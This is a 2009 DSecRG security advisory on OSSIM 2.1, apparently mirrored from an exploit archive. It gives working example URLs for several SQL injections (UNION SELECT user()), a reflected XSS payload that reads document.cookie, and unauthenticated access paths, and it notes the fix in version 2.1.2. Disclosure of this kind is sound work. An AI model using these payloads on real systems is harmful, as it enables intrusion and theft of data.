Lucene search
K

OSSIM 2.1 SQL Injection and xss

🗓️ 23 Sep 2009 00:00:00Reported by Sintsov AlexeyType 
zdt
 zdt
🔗 0day.today👁 14 Views

OSSIM 2.1 SQL Injection and xss vulnerabilities, unauthorized acces

Code
===============================
OSSIM 2.1 SQL Injection and xss
===============================


OSSIM - Open Source Security Information Management is vulnerable to multiple security vulnerabilities.
 
1. SQL Injections
2. Linked XSS
3. Unauthorized access
 
 
 
Digital Security Research Group [DSecRG] Advisory #DSECRG-09-055
 
 
Application: OSSIM
Versions Affected: 2.1 and may be 2.1.1
Vendor URL: http://ossim.net/
Bug: SQL Injection,XSS, Unauthorized access
Exploits: YES
Reported: 07.09.2009
Vendor response: 09.09.2009
Solution: YES (version 2.1.2)
Date of Public Advisory:21.09.2009
Author: Sintsov Alexey of Digital Security Research Group [DSecRG]
 
Details
*******
 
1.1 SQL injections in repository
 
Attacker need to be authorized in system for success.
 
Vulnerable script - repository_document.php
Vulnerable parameter - id_document
 
Example
*******
 
http://OSSIM-SERVER/ossim/repository/repository_document.php?id_document=-3
union select 1,2,user(),4,5,6--&maximized=1&search_bylink=&pag=1
 
1.2 SQL injections in repository
 
Attacker need to be authorized in system for success.
 
Vulnerable script - repository_links.php
Vulnerable parameter - id_document
 
Example
*******
 
http://OSSIM-SERVER/ossim/repository/repository_links.php?id_document=-3
union select 1,user(),3,4,5,6
 
 
1.3 SQL injections in repository
 
Attacker need to be authorized in system for success.
 
Vulnerable script - repository_editdocument.php
Vulnerable parameter - id_document
 
Example
*******
 
http://OSSIM-SERVER/ossim/repository/repository_editdocument.php?id_document=-3
union select 1,user(),3,4,5,6
 
 
 
1.4 SQL injection in policy scripts
 
Attacker need to be authorized in system for success.
 
Vulnerable script - getpolicy.php
Vulnerable parameter - group
 
 
Example
*******
 
http://OSSIM-SERVER/ossim/policy/getpolicy.php?group=0 and 1=1
 
 
1.5 SQL injection in policy scripts
 
Attacker need to be authorized in system for success.
 
Vulnerable script - newhostgroupform.php
Vulnerable parameter - name
 
 
Example
*******
 
http://OSSIM-SERVER/ossim/host/newhostgroupform.php?name=' union select
user(),'b','c','d','f
 
 
1.6 SQL injection in policy scripts
 
Attacker need to be authorized in system for success.
 
Vulnerable script - modifynetform.php
Vulnerable parameter - name
 
Example
*******
 
http://OSSIM-SERVER/ossim/net/modifynetform.php?name=' union select
user(),'b','c','d','e','f','g','h','a
 
 
And others scripts in policy menu.
 
 
2. Linked XSS in main menu
 
Vulnerable script /ossim/
Vulnerable parameter - option
 
Example
*******
 
http://OSSIM-SERVER/ossim/?option=0" onload=alert(document.cookie) a="
 
3. Access to data without authentication.
 
Unauthorized user can see graphs and infrastructure
 
 
Example
*******
 
Access to the graph:
http://OSSIM-SERVER/ossim/graphs/alarms_events.php
 
Internal infrastructure view:
http://OSSIM-SERVER/ossim/host/draw_tree.php
 
 
 
 
Fix Information
***************
 
Upgrade to version 2.1.2



#  0day.today [2018-03-06]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation